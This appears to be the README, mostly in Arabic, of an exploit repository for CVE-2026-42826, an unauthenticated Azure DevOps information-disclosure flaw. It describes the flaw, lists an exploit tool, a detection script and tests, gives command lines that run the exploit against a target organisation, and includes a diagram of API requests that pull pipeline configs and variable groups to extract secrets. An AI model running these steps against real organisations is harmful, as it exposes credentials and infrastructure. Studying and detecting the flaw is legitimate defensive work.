
يستغل CVE-2026-42826 لتعداد واستخراج بيانات Azure DevOps الحساسة عبر طلبات REST API غير مصادق عليها: pipeline YAML، ومجموعات المتغيرات، واتصالات الخدمة، وسجلات البناء.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-42826 |
| CVSS | 10.0 حرجة (Microsoft) / 7.5 عالية (NVD) |
| CWE | CWE-200 (كشف المعلومات الحساسة لجهة غير مصرح لها) |
| GHSA | GHSA-gmwx-3xm2-9fx8 |
| المتأثر | Azure DevOps Services, Azure DevOps Server 2022/2025 |
| تم التصحيح | Azure DevOps Server 2026.0.1+ (تم تصحيح الخدمات من جانب الخادم) |
| المكتشف | Noa Royzman (Microsoft) |
يمكن لـ Azure DevOps تقديم تكوين خطوط الأنابيب (pipeline)، ومحتويات مجموعات المتغيرات، وقطع بناء (build artifacts) لطلبات HTTP غير مصادق عليها في ظل ظروف معينة. يرسل المهاجم عن بُعد طلبات مخصصة إلى REST API الخاصة بـ Azure DevOps ويتلقى استجابات JSON تحتوي على:
لا تتطلب أي بيانات اعتماد عندما يكون المشروع الهدف مُهيأً للظهور العام، أو عندما تفشل إحدى نقاط نهاية API الداخلية في فرض فحوصات المصادقة قبل إرجاع البيانات.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — 10.0 Critical
المؤسسات التي لديها مشاريع عامة مفعّلة تعرّض المستودعات وخطوط الأنابيب وقطع البناء وعناصر العمل للإنترنت دون مصادقة.
تفشل نقاط نهاية API داخلية محددة في فرض فحوصات المصادقة قبل إرجاع البيانات الحساسة.
تشير ملفات YAML الخاصة بخطوط الأنابيب في المشاريع العامة إلى اتصالات الخدمة ومجموعات المتغيرات بالاسم، مما يكشف بنية اشتراك Azure وأهداف النشر وعناوين السجلات (Registry) وأسماء البيئات.
يتم كشف بيانات وصفية لاتصالات الخدمة (معرّفات اشتراكات Azure، ومعرّفات المستأجرين، ومعرّفات مجموعات Kubernetes) عبر API.
قيم المتغيرات غير السرية مرئية في الواجهة، ويتم إرجاعها بواسطة API، وتُطبع في سجلات البناء.
قد تحتوي سجلات البناء على بيانات إعداد حساسة ومتغيرات بيئة وتفاصيل عن البنية التحتية.
| الملف | الغرض |
|---|---|
exploit.py | أداة الاستغلال الرئيسية — 6 متجهات هجوم، فحص الأسرار، توليد التقارير |
detect.py | أداة فحص الاكتشاف والتحصين لمثيلات Azure DevOps |
test_exploit.py | اختبارات الوحدة (أكثر من 30 اختبارًا للتحقق من جميع وظائف الاستغلال) |
| المستند | المحتوى |
|---|---|
| USAGE.md | دليل استخدام مفصل مع تعليمات خطوة بخطوة |
| DIAGRAM.md | مخططات البنية وتصور تدفق الهجوم |
# Check if organization has publicly exposed projects
python3 exploit.py -u https://dev.azure.com/targetorg
# Full exploitation with Personal Access Token
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT_TOKEN
# Target specific project
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT --project MyProject
# Save report to file
python3 exploit.py -u https://dev.azure.com/targetorg --pat YOUR_PAT -o report.json
python3 exploit.py -u https://tfs.company.local/tfs/DefaultCollection --pat YOUR_PAT
python3 detect.py -u https://dev.azure.com/targetorg --pat YOUR_PAT
python3 test_exploit.py
Attacker Azure DevOps API
│ │
│ GET /_apis/projects │
│ (no auth) │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { projects: [...] } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ pipelines │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { YAML configs } │
│ ◄────────────────────── │
│ │
│ GET /proj/_apis/ │
│ variablegroups │
│ ──────────────────────► │
│ │
│ 200 OK │
│ { variables: {...} } │
│ ◄────────────────────── │
│ │
│ Extract secrets, │
│ map infrastructure │
│ │
انظر DIAGRAM.md للحصول على مخططات البنية الكاملة.
Code (Read) مع صلاحية 90 يومًاMIT